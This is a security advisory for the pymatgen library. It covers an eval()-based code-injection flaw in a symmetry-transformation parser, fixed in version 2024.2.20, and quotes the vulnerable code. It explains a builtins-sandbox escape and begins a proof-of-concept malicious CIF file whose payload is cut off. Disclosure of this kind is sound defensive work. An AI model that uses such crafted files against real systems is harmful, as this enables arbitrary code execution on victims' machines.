Affected: materialsproject pymatgen, pymatgen

Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library prior to version 2024.2.20. This method insecurely utilizes `eval()` for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.

Affected: PyPI: pymatgen

### Summary A critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.

### Details The cause of the vulnerability is in [pymatgen/symmetry/settings.py#L97C1-L111C108](https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108). The flawed code segment involves a regular expression operation followed by the use of `eval()`.

#### Vulnerable code

```py basis_change = [ re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X) for string in basis_change ] """snip""" ([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change]) ```

The use of eval, even with `__builtins__` set to `None`, is still a security risk. The `BuiltinImporter` class can be recovered with subclass traversal.

### PoC

The vulnerability can be exploited as follows:

Create a file `vuln.cif` with the following contents:

``` data_5yOhtAoR _audit_creation_date 2018-06-08 _audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_ _parent_propagation_vector.id _parent_propagation_vector.kxkykz k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__m…